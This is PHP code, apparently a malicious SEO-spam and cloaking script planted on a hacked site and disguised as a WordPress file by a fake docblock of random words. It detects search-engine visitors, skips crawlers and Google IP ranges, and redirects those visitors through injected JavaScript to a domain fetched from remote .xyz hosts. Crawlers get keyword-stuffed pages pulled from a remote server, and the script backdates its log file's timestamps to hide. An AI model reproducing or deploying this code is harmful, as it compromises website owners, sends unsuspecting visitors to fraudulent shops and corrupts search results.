if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){ | |
$id = $arrUrlId[$rqurl]; | |
}else{ | |
$arrUrlId[$rqurl] = getRandCId($rqurl); | |
$id = $arrUrlId[$rqurl]; | |
file_put_contents($logFileName,serialize($arrUrlId)); | |
@touch(dirname($logFileName), $fLogTime, $fLogTime); | |
@touch($logFileName, $fLogTime, $fLogTime); | |
} | |
}else{ | |
$id = "764167"; //llq index id | |
} | |
} | |
$resid = '#^\d+$#'; | |
if(!preg_match($resid,$id)){ | |
exit; | |
} | |
$id23 = $id; | |
$siteid = MSID; | |
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM; | |
// $_SERVER["HTTP_REFERER"] = "google.com"; | |
if(isset($_SERVER["HTTP_REFERER"])){ | |
$referer = $_SERVER["HTTP_REFERER"]; | |
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i'; | |
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') ); | |
$localIp = get_real_ip(); | |
$is_or_no = is_ip($localIp,$ipRanges); | |
$iszz = isCrawler(); | |
if(function_exists('gethostbyaddr')){ | |
$hostname = @gethostbyaddr($localIp); | |
$is_g_ip = preg_match("#google#i", "$hostname") === 1; | |
}else{ | |
$is_g_ip = 0; | |
} | |
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){ | |
$rsdom = '#^https?://www\.[^/]+/$#i'; | |
$jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt"; | |
$jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt"; | |
for($i=0;$i<2;$i++){ | |
$domJump = curl_getjs_from_webpage($jumDom1,2); | |
$domJump = trim($domJump); | |
if(!preg_match($rsdom,$domJump)){ | |
$domJump = curl_getjs_from_webpage($jumDom2,10); | |
$domJump = trim($domJump); | |
if(preg_match($rsdom,$domJump)) | |
break; | |
}else{ | |
break; | |
} | |
} | |
echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die(); | |
} | |
} | |
$fcontent = ''; | |
$pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID"; | |
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); | |
$rsInfo = '#<info>(.*)</info>#si'; | |
preg_match($rsInfo,$pInfoStr,$matchInfo); | |
if(isset($matchInfo[1])){ | |
$InFoStrArr = unserialize($matchInfo[1]); | |
}else{ | |
header("HTTP/1.1 404 Not Found");exit; | |
} | |
if(isset($InFoStrArr['frStr2'])){ | |
$frStr2 = $InFoStrArr['frStr2']; | |
$fr2Arr = unserialize($frStr2); | |
} | |
$frStr1 = $InFoStrArr['frStr1']; | |
$fr1Arr = unserialize($frStr1); | |
$Ptitle = $InFoStrArr['Ptitle']; | |
$nowIdName = $InFoStrArr['nowIdName']; | |
if(strstr($Ptitle,'#cat#')){ | |
$tp_title_arr = explode('#cat#',$Ptitle); | |
$Ptitle = $tp_title_arr[1]; | |
} | |
$pcatstr = $InFoStrArr['pcatstr']; | |
$nowPreStr = $InFoStrArr['nowPreStr']; | |
$nowNextStr = $InFoStrArr['nowNextStr']; | |
if(strstr($pcatstr,'#cname#')){ | |
$temparrI = explode('#cname#',$pcatstr); | |
$catStr = $temparrI[0]; | |
$catArr = explode('^',$catStr); | |
$tparrCat = array(); | |
$catArrII = array(); | |
foreach($catArr as $vs){ | |
$vs = str_replace('&','&',$vs); | |
if(!isset($tparrCat[$vs])){ | |
$tparrCat[$vs] = 1; | |
$catArrII[] = $vs; | |
} | |
} | |
$catArr = $catArrII; | |
$mateStr = $temparrI[1]; | |
if(strstr($mateStr,'#keydescription#')){ | |
$temparrII = explode('#keydescription#',$mateStr); | |
$pkeyword = trim($temparrII[0]); | |
if(!$pkeyword){ | |
$pkeyword = $Ptitle; | |
}else{ | |
$keyArr = explode(',',$pkeyword); | |
$num = count($keyArr); | |
$yushu = KEYJG % $num; | |
$arrPre = array(); | |
$arrLast = array(); | |
for($i=0;$i<$num;$i++){ | |
if($i<$yushu){ | |
$arrLast[] = $keyArr[$i]; | |
}else{ | |
$arrPre[] = $keyArr[$i]; | |
} | |
} | |
if(count($arrLast)){ | |
foreach($arrLast as $vs){ | |
$arrPre[] = $vs; | |
} | |
} | |
$pkeyword = implode(',',$arrPre); | |
$pkeywordYuanShi = $pkeyword; | |
} | |
$pdescription = $temparrII[1]; | |
if(!$pdescription){ | |
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; | |
}else{ | |
$DesArr = explode(',',$pdescription); | |
$num = count($DesArr); | |
$yushu = KEYJG % $num; | |
$arrPre = array(); | |
$arrLast = array(); | |
for($i=0;$i<$num;$i++){ | |
if($i<$yushu){ | |
$arrLast[] = $DesArr[$i]; | |
}else{ | |
$arrPre[] = $DesArr[$i]; | |
} | |
} | |
if(count($arrLast)){ | |
foreach($arrLast as $vs){ | |
$arrPre[] = $vs; | |
} | |
} | |
$pdescription = implode(',',$arrPre); | |
$pdescription .= '.'; | |
$pDescriptionYuanShi = $pdescription; | |
} | |
}else{ | |
$pkeyword = $Ptitle; | |
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; | |
} | |
}else{ | |
$catArr = array(); | |
if(strstr($mateStr,'#keydescription#')){ | |
$temparrII = explode('#keydescription#',$mateStr); | |
$pkeyword = $temparrII[0]; | |
if(!$pkeyword){ | |
$pkeyword = $Ptitle; | |
}else{ | |
$keyArr = explode(',',$pkeyword); | |
$num = count($keyArr); | |
$yushu = KEYJG % $num; | |
$arrPre = array(); | |
$arrLast = array(); | |
for($i=0;$i<$num;$i++){ | |
if($i<$yushu){ | |
$arrLast[] = $keyArr[$i]; | |
}else{ | |
$arrPre[] = $keyArr[$i]; | |
} | |
} | |
if(count($arrLast)){ | |
foreach($arrLast as $vs){ | |
$arrPre[] = $vs; | |
} | |
} | |
$pkeyword = implode(',',$arrPre); | |
$pkeywordYuanShi = $pkeyword; | |
} | |
$pdescription = $temparrII[1]; | |
if(!$pdescription){ | |
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; | |
}else{ | |
$DesArr = explode(',',$pdescription); | |
$num = count($DesArr); | |
$yushu = KEYJG % $num; | |
$arrPre = array(); | |
$arrLast = array(); | |
for($i=0;$i<$num;$i++){ | |
if($i<$yushu){ | |
$arrLast[] = $DesArr[$i]; | |
}else{ | |
$arrPre[] = $DesArr[$i]; | |
} | |
} | |
if(count($arrLast)){ | |
foreach($arrLast as $vs){ | |
$arrPre[] = $vs; | |
} | |
} | |
$pdescription = implode(',',$arrPre); | |
$pdescription .= '.'; | |
$pDescriptionYuanShi = $pdescription; | |
} | |
}else{ | |
$pkeyword = $Ptitle; | |
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; | |
} | |
} | |
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23); | |
if(function_exists("preg_split")){ | |
$PtitleArr = preg_split('/\s+/us', $Ptitle); | |
}else{ | |
$PtitleArr = explode(' ', $Ptitle); | |
} | |
$tpTitleArr = array(); | |
foreach($PtitleArr as $vs){ | |
$vs = trim($vs); | |
if($vs){ | |
$tpTitleArr[] = $vs; | |
} | |
} | |
$numTitleArr = count($tpTitleArr); | |
$randTkeyI = RANDNUMI % $numTitleArr; | |
$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI); | |
$randTkeyII = RANDNUMII % $numTitleArr; | |
if($randTkeyI == $randTkeyII){ | |
$randTkeyII = abs($randTkeyI-2); | |
} | |
$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII); | |
$addTopStr = '<strong>'. implode(' ',$catArr) . " {$Ptitle}</strong>".PHP_EOL; | |
$addTopStr .= "<h1>{$Ptitle}</h1>"; | |
$addTopStr .= $BreadStr.PHP_EOL; | |
$tpaddstr = ''; | |
if($pkeywordYuanShi) | |
$tpaddstr .= $pkeywordYuanShi .','; | |
$tpaddstr .= $Ptitle .','; | |
$tpaddstr .= $createTitleI .','; | |
$tpaddstr .= $pdescription; | |
$tpaddstr .= $createTitleII .'.<br/>'. PHP_EOL; | |
$addTopStr .= $tpaddstr; | |
if(isset($InFoStrArr['pdes'])){ | |
$InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']); | |
$addTopStr .= $InFoStrArr['pdes']."<br/>".PHP_EOL; | |
} | |
if(isset($InFoStrArr['nowPimgArr'])){ | |
$tpImgArr = unserialize($InFoStrArr['nowPimgArr']); | |
foreach($tpImgArr as $tpimg){ | |
$addTopStr .= $tpimg."<br/>".PHP_EOL; | |
} | |
} | |
$addTopStr .= "<h2>{$Ptitle}</h2>".PHP_EOL; | |
$fr1Strs = '<ul>'.PHP_EOL; | |
foreach($fr1Arr as $key=>$vs){ | |
$tpPid = $key; | |
$tpFlink = getalink($tpPid,$vs); | |
if(strstr($vs,'#cat#')){ | |
$tp_name_arr = explode('#cat#',$vs); | |
$vs = $tp_name_arr[1]; | |
} | |
$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL; | |
} | |
$fr1Strs .= '</ul>'.PHP_EOL; | |
if(isset($fr2Arr)){ | |
$fr2Strs = '<ul>'.PHP_EOL; | |
foreach($fr2Arr as $key=>$vs){ | |
$tpPid = $key; | |
$tpFlink = getalink($tpPid,$vs); | |
if(strstr($vs,'#cat#')){ | |
$tp_name_arr = explode('#cat#',$vs); | |
$vs = $tp_name_arr[1]; | |
} | |
$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL; | |
} | |
$fr2Strs .= '</ul>'.PHP_EOL; | |
} | |
$addPdesStr = ''; | |
$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL; | |
$addStrDes1 = ''; | |
if(isset($InFoStrArr['nowDesNameArrStr'])){ | |
$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']); | |
$tempArrLen = count($tpDesNameArr) - 1; | |
$i=0; | |
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ | |
$tempLen = strlen($tpdesVs) + $i; | |
if($tempLen % 2 == 1){ | |
$nowtempfh = ', '; | |
}else | |
$nowtempfh = '. '; | |
if($i == $tempArrLen){ | |
$addStrDes1 .= $tpdesVs . '.'; | |
// echo $addStrDes1; | |
// exit; | |
}else{ | |
$addStrDes1 .= $tpdesVs . $nowtempfh; | |
} | |
$i++; | |
} | |
$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL; | |
} | |
$addPdesStr .= $addStrDes1.PHP_EOL; | |
$addStrDesII = ''; | |
if(isset($InFoStrArr['fpNameStr'])){ | |
$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']); | |
$tempArrLen = count($tpDesNameArr) - 1; | |
$i=0; | |
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ | |
$tempLen = strlen($tpdesVs) + $i; | |
if($tempLen % 2 == 1){ | |
$nowtempfh = ', '; | |
}else | |
$nowtempfh = '. '; | |
if($i == $tempArrLen){ | |
$addStrDesII .= $tpdesVs . '.'; | |
}else{ | |
$addStrDesII .= $tpdesVs . $nowtempfh; | |
} | |
$i++; | |
} | |
$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL; | |
} | |
$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL; | |
$addPdesStr .= $addStrDesII.PHP_EOL; | |
$addPdesStr .= $fr1Strs.PHP_EOL; | |
$addH3Str = "<h3>{$Ptitle}</h3>"; | |
$thisPnameLink = '<a href="">'.$nowIdName.'</a>'; | |
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>'; | |
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>'; | |
$flagH2I = 1; | |
$flagH2II = 1; | |
$fileMb = fopen("moban.html","r"); | |
$html = fread($fileMb,filesize("moban.html")); | |
$html = str_ireplace('#bbbtitsbbb#', $Ptitle, $html); | |
$html = str_ireplace('#bbbkeybbb#', $pkeyword, $html); | |
$html = str_ireplace('#bbbdesbbb#', $pdescription, $html); | |
$html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html); | |
// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html); | |
$html = str_ireplace('#bbb2content2bbb#', '', $html); | |
$html = str_ireplace('#descontent#', $addPdesStr, $html); | |
$html = str_replace('#link1#','',$html); | |
$html = str_replace('#link2#','',$html); | |
if($flagH2I){ | |
$html = str_replace('#link3#',$addH3Str,$html); | |
$flagH2I = 0; | |
}else{ | |
$html = str_replace('#link3#','',$html); | |
} | |
if($flagH2I){ | |
$html = str_replace('#link4#',$addH3Str,$html); | |
$flagH2I = 0; | |
}elseif($flagH2II){ | |
$html = str_replace('#link4#',$addH3Str,$html); | |
$flagH2II = 0; | |
}else{ | |
$html = str_replace('#link4#','',$html); | |
} | |
if($flagH2I){ | |
$html = str_replace('#link5#',$addH3Str,$html); | |
$flagH2I = 0; | |
}elseif($flagH2II){ | |
$html = str_replace('#link5#',$addH3Str,$html); | |
$flagH2II = 0; | |
}else{ | |
$html = str_replace('#link5#','',$html); | |
} | |
if($flagH2I){ | |
$html = str_replace('#flink#',$addH3Str,$html); | |
$flagH2I = 0; | |
}elseif($flagH2II){ | |
$html = str_replace('#flink#',$addH3Str,$html); | |
$flagH2II = 0; | |
}else{ | |
$html = str_replace('#flink#','',$html); | |
} | |
if($flagH2I){ | |
$html = str_replace('#Flink2#',$addH3Str,$html); | |
$flagH2I = 0; | |
}elseif($flagH2II){ | |
$html = str_replace('#Flink2#',$addH3Str,$html); | |
$flagH2II = 0; | |
}else{ | |
$html = str_replace('#Flink2#','',$html); | |
} | |
$footKey = "<b>{$Ptitle}, {$pkeyword}</b>".PHP_EOL; | |
$html = str_replace('</body',$footKey.'</body',$html); | |
echo $html; | |
die(); | |
/** | |
* column entry frown grateful inevitable navigation necessity notify resistant slip spot temple vacuum vital wonder. | |
* appeal ban campus exclude faulty flock frown hestiate incident internal mood particle poverty restrain suburb transmit valley. | |
* battery competent constant dash facility faulty gaze genius globe hook liter media opportunity petroleum rescue restrain resume tarnest vertical. | |
* available debt enviroment expensive explore guarantee horror hostile interpret isolate loosen maintain nevertheless prompt regulate significance slip tension waist weed. | |
* abuse agency brake drip duration elbow enthusiasm enviroment flexible geography hint integrate mission moral optimistic pants rely sensitive trace transplant vibrate. | |
* flash hydrogen knot merchant oblige pursue render respond twist utilify xploit. | |
* applianc arichmetic authority coarse comedy comment delay delicate exclaim excursion extinct fatal fate focus geography geology inevitable interpretation mature mist participate principal prior profit weld. | |
* acid adhere advertisement disturb inhabitant leak molecule primitive video. | |
* bacteria breadth budget continual evolution explosive grant grateful hence idle ingredient obscure racial recruit remedy semiconductor shelter smash tender the universe. | |
* burst competent consent debt decorate erect ferfile geology guarantee holy jungle pants prompt scale slip stable tremendous urgent vain violence volume vote. | |
* abundant cancel discipline elastic evil exclude expand gallery hestiate hook jungle leather legislation leisure likelihood orchestra prohibit smash terminal vague yield zone. | |
* abuse echo liable likelihood resistant sophisticated tone vertical vibrate wagon zone. | |
* abuse coarse deaf grateful licence optics optimistic professional register spit split trend wax welfare whatsoever. | |
* frustrate modest orient substitute tend vehicle virus. | |
* absolute advertisement deposit enviroment excess frown infant recreation tone ultimate. | |
* absolute appetite bunch discrimination echo emotional enthusiasm extent fertilizer frustrate glory manufacture modify neutral particle prohibit repetition rescue ruin. | |
* acknowledge boundary expenditure male optimistic strategy transplant valley virus. | |
* coil expand focus infinite scandal slippery. | |
* absolute adult advertise applicable battery capture ceremony code conservation echo petrol profitable radical religion scratch triumph usage vehicle version vocabulary xploit. | |
* adjust appoint architect ceremony column discrimination domestic elbow expend flock glimpse hollow internal jam necessity optional oral personnel range shield software subway wealthy weed. | |
* continuous encounter explosion facility fatal gene idle illegal jealous jewel joint optimistic presumably radical solar sorrow swallow tension via. | |
* alcohol budget calendar disturb generate maintain marine naked notion prior religious spit subway trap tropical. | |
* adequate discount evolve export globe hatred jail loose molecule obscure render snap substantial title. | |
* applause blast cliff conquer data decline entertainment geography globe invade opportunity particle shield substitute tarnest the urge vague vehicle wealthy. | |
* biology coach code display relevant tendency territory. | |
* arichmetic bunch conservation elastic entertainment evolution exceedingly fatal fax focus import interfere resemble. | |
* algebra consent external extinct relief. | |
* apparent awful conservative debate explore faculty hatred infer portable regulate shrink. | |
* arise continuous delicate emotional leak neglect religion reputation seminar slender strategic substance wax. | |
* appropriate barrier biology bundle cliff coarse distress entry glimpse grant infer leap maintain manual moisture naked nuclear previous remote slender slippery spill venture wonder. | |
* arouse dispose drip gene genius idle infect knot mixture noticeable organ resemble scale shuttle suspicious temple tropical vocabulary wagon yawn. | |
* Internet budget herd liable liquor liter male naval omit priority relevant rescue semester skim spill stimulate triumph volcano. | |
* cliff flock global highlight horror incident launch likelihood manufacture naked radiation theme vacant. | |
* geology loosen sincere title. | |
* adhere advertisement arichmetic defect drip elbow electron entry episode exaggerate female hook obstacle particle previous promote recruit rival severe slippery spill split unique vain yawn. | |
* arichmetic awful campus consistent forbid issue partial the vain virtual. | |
* response adult advertisement appropriate enclose inhabitant integrate offend oral passive promote remote shrink slippery stale tend the torture vague violet wax wealthy whereas. | |
* defect display female participate provision temple. | |
* | |
* @package WordPress | |
*/ | |
function getRandStrArr($tpArr=array(),$bgKey=0){ | |
$returnStr = ''; | |
$numArr = count($tpArr); | |
for($i=$bgKey+1;$i<$numArr;$i++){ | |
$returnStr .= $tpArr[$i].' '; | |
} | |
for($i=0;$i<=$bgKey;$i++){ | |
$returnStr .= $tpArr[$i].' '; | |
} | |
return trim($returnStr); | |
} | |
function getBreadcrum($Ptitle,$catArr,$id23){ | |
global $arrBread,$thisdom; | |
$breadTagkey = KEYJG % 6; | |
if($breadTagkey == 0){ | |
$breadTagHtml1 = 'nav'; | |
$breadTagHtml2 = 'ul'; | |
}elseif($breadTagkey == 1){ | |
$breadTagHtml1 = 'nav'; | |
$breadTagHtml2 = 'ol'; | |
}elseif($breadTagkey == 2){ | |
$breadTagHtml1 = 'div'; | |
$breadTagHtml2 = 'ol'; | |
}elseif($breadTagkey == 3){ | |
$breadTagHtml1 = 'section'; | |
$breadTagHtml2 = 'ol'; | |
}elseif($breadTagkey == 4){ | |
$breadTagHtml1 = 'section'; | |
$breadTagHtml2 = 'ul'; | |
}else{ | |
$breadTagHtml1 = 'div'; | |
$breadTagHtml2 = 'ul'; | |
} | |
$arrBreadNum = count($arrBread); | |
$domlen = strlen($thisdom); | |
$breadTagkey = $domlen % 5; | |
$liClassYs = KEYJG % 19; | |
if($liClassYs == 0){ | |
$liStr = ' class="item"'; | |
}elseif($liClassYs == 1){ | |
$liStr = ' class="breadcrumbs-item"'; | |
}elseif($liClassYs == 2){ | |
$liStr = ' class="nz-breadcrumb-item"'; | |
}elseif($liClassYs == 3){ | |
$liStr = ' class="items"'; | |
}elseif($liClassYs == 4){ | |
$liStr = ' class="breadcrumblist-items"'; | |
}elseif($liClassYs == 5){ | |
$liStr = ' class="el-breadcrumb-item"'; | |
}elseif($liClassYs == 6){ | |
$liStr = ' class="doc-crumb-item"'; | |
}elseif($liClassYs == 7){ | |
$liStr = ' class="breadcrumb-item"'; | |
}elseif($liClassYs == 8){ | |
$liStr = ' class="crumbs-item"'; | |
}elseif($liClassYs == 9){ | |
$liStr = ' class="bread-item"'; | |
}elseif($liClassYs == 10){ | |
$liStr = ' class="breads-item"'; | |
}elseif($liClassYs == 11){ | |
$liStr = ' class="breadcrumbItem"'; | |
}elseif($liClassYs == 12){ | |
$liStr = ' class="breadcrumbItems"'; | |
}elseif($liClassYs == 13){ | |
$liStr = ' class="breadcrumblistitems"'; | |
}elseif($liClassYs == 14){ | |
$liStr = ' class="BreadcrumbItem"'; | |
}elseif($liClassYs == 15){ | |
$liStr = ' class="ListItem"'; | |
}elseif($liClassYs == 16){ | |
$liStr = ' class="crumb-items"'; | |
}else{ | |
$liStr = ''; | |
} | |
$arrBreadId = array(); | |
$arrBreadId[] = 'Bread'; | |
$arrBreadId[] = 'BreadHead'; | |
$arrBreadId[] = 'Breadcrumb'; | |
$arrBreadId[] = 'Breadcrumb-Head'; | |
$arrBreadId[] = 'Breadcrumb-Heads'; | |
$arrBreadId[] = 'Breadcrumb-Top'; | |
$arrBreadId[] = 'BreadcrumbHeads'; | |
$arrBreadId[] = 'BreadcrumbLists'; | |
$arrBreadId[] = 'BreadcrumbNavigation'; | |
$arrBreadId[] = 'BreadcrumbTop'; | |
$arrBreadId[] = 'BreadcrumbTops'; | |
$arrBreadId[] = 'MyBreadcrumb'; | |
$arrBreadId[] = 'ant-breadcrumb'; | |
$arrBreadId[] = 'bread-List'; | |
$arrBreadId[] = 'breadtop'; | |
$arrBreadId[] = 'breadtops'; | |
$arrBreadId[] = 'breadHead'; | |
$arrBreadId[] = 'breadHeads'; | |
$arrBreadId[] = 'breadList'; | |
$arrBreadId[] = 'breadLists'; | |
$arrBreadId[] = 'breadcrumb'; | |
$arrBreadId[] = 'c-breadcrumb'; | |
$arrBreadId[] = 'crumbList'; | |
$arrBreadId[] = 'crumb-list'; | |
$arrBreadId[] = 'crumbs'; | |
$arrBreadId[] = 'crumbsHead'; | |
$arrBreadId[] = 'crumbsHeads'; | |
$arrBreadId[] = 'crumbs-head'; | |
$arrBreadId[] = 'crumbs-nag'; | |
$arrBreadId[] = 'crumbsTop'; | |
$arrBreadId[] = 'crumbsTops'; | |
$arrBreadId[] = 'crumbs-top'; | |
$arrBreadId[] = 'cs-breadcrumb'; | |
$arrBreadId[] = 'customBreadcrumb'; | |
$arrBreadId[] = 'doc-crumb'; | |
$arrBreadId[] = 'el-breadcrumb'; | |
$arrBreadId[] = 'l-breadcrumb'; | |
$arrBreadId[] = 'navBreadCrumb'; | |
$arrBreadId[] = 'navBreadCrumbs'; | |
$arrBreadId[] = 'page-breadcrumbs'; | |
$arrBreadId[] = 'pages-breadcrumbs'; | |
$arrBreadId[] = 's-breadcrumb'; | |
$arrBreadId[] = 'v-breadcrumb'; | |
$arrBreadId[] = 'chrome-breadcrumbs'; | |
$keyBreadId = KEYJG % 48; | |
if(isset($arrBreadId[$keyBreadId])){ | |
$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"'; | |
}else{ | |
$keyBreadIdStr = ''; | |
} | |
$strBreads = ''; | |
if($breadTagkey == 4){ | |
$arrBreadC1 = array(); | |
$arrBreadC1[] = 'BreadcrumbData'; | |
$arrBreadC1[] = 'BreadcrumbDatas'; | |
$arrBreadC1[] = 'BreadcrumbTop'; | |
$arrBreadC1[] = 'crumbsHead'; | |
$arrBreadC1[] = 'crumbsTop'; | |
$arrBreadC1[] = 'crumbsList'; | |
$arrBreadC1[] = 'crumbs-top'; | |
$arrBreadC1[] = 'crumbs-list'; | |
$arrBreadC1[] = 'crumbs-Head'; | |
$arrBreadC1[] = 'BreadcrumbTag'; | |
$arrBreadC1[] = 'Breadcrumb-tag'; | |
$arrBreadC1[] = 'BreadcrumbBody'; | |
$arrBreadC1[] = 'BreadcrumbBody'; | |
$arrBreadC1[] = 'Breadcrumb-Top'; | |
$arrBreadC1[] = 'Breadcrumb-body'; | |
$arrBreadC1[] = 'BreadcrumbTops'; | |
$arrBreadC1[] = 'Breadcrumb-Head'; | |
$arrBreadC1[] = 'Breadcrumb-Heads'; | |
$arrBreadC1[] = 'Breadcrumb-List'; | |
$arrBreadC1[] = 'BreadcrumbList'; | |
$arrBreadC1[] = 'BreadcrumbLists'; | |
$ckeyI = KEYJG % count($arrBreadC1); | |
$classI = $arrBreadC1[$ckeyI]; | |
$classII = $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb'; | |
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">'; | |
$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">'; | |
$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>'; | |
if(count($catArr)){ | |
foreach($catArr as $vs){ | |
$vs = trim($vs); | |
$nowCatUrl = getCatLink($vs,$id23); | |
$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>'; | |
} | |
} | |
// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>'; | |
$strBreads .= '</'.$breadTagHtml2.'>'; | |
$strBreads .= '</'.$breadTagHtml1.'>'; | |
}else{ | |
$calssBreadKey = KEYJG % $arrBreadNum; | |
$classTop = $arrBread[$calssBreadKey]; | |
$classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs'; | |
$breadTagkey = $domlen % 2; | |
if($breadTagkey == 0){ | |
if($classTop) | |
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; | |
else | |
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; | |
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; | |
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>'; | |
$flagNum = 2; | |
if(count($catArr)){ | |
foreach($catArr as $vs){ | |
$vs = trim($vs); | |
$nowCatUrl = getCatLink($vs,$id23); | |
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>'; | |
$flagNum++; | |
} | |
} | |
// $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>'; | |
$strBreads .= '</'.$breadTagHtml2.'>'; | |
$strBreads .= '</'.$breadTagHtml1.'>'; | |
}else{ | |
if($classTop) | |
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; | |
else | |
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; | |
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; | |
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>'; | |
if(count($catArr)){ | |
foreach($catArr as $vs){ | |
$vs = trim($vs); | |
$nowCatUrl = getCatLink($vs,$id23); | |
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>'; | |
} | |
} | |
// $strBreads .= '<li'.$liStr.'><strong>'.$Ptitle.'</strong></li>'; | |
$strBreads .= '</'.$breadTagHtml2.'>'; | |
$strBreads .= '</'.$breadTagHtml1.'>'; | |
} | |
} | |
return $strBreads; | |
} | |
function getCatLink($CatName,$id23){ | |
global $arrnametime,$arrKeywz,$arr_word,$strRand; | |
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; | |
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); | |
if(JDT == 2){ | |
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ | |
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ | |
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{ | |
$filePres = $siteLink."/"; } | |
$CatName = str_replace('&',' ',$CatName); | |
$CatName = str_replace('&',' ',$CatName); | |
if(JDT == 3){ | |
$CatName = preg_replace('#\s+#i','-',$CatName); | |
while(strstr($CatName,'--')) | |
$CatName = str_replace('--','-',$CatName); | |
$linkCenter = $CatName; | |
$rtStr = $filePres.$linkCenter; | |
$rtStr = str_replace($filePres.'-',$filePres,$rtStr); | |
return $rtStr; | |
} | |
$CatName = preg_replace('#\s+#i','-',$CatName); | |
$CatName = str_replace('--','-',$CatName); | |
$linkCenter = BZCAT .'-'. str_replace('--','-',$CatName); | |
$linkCenter .= JTHZ; | |
$rtStr = $filePres.$linkCenter; | |
$rtStr = str_replace($filePres.'-',$filePres,$rtStr); | |
return $rtStr; | |
} | |
function getMapNum($bgNum,$mapnum){ | |
$TempArr = array(); | |
if($bgNum + $mapnum <= FNUM){ | |
for($i=0;$i<$mapnum;$i++){ | |
$TempArr[$i] = $bgNum + $i -1; | |
} | |
}else{ | |
for($i=0;$i<$mapnum;$i++){ | |
if($bgNum+$i > FNUM) | |
$TempArr[$i] = $bgNum + $i -1 -FNUM; | |
else | |
$TempArr[$i] = $bgNum + $i -1; | |
} | |
} | |
return $TempArr; | |
} | |
function getRandCId($rqurl){ | |
global $thisdom; | |
for($i=0;$i<3;$i++){ | |
$idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl"; | |
$tempIdStr = curl_get_from_webpage($idUrl,'',5); | |
if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){ | |
return $matchId[1]; | |
} | |
} | |
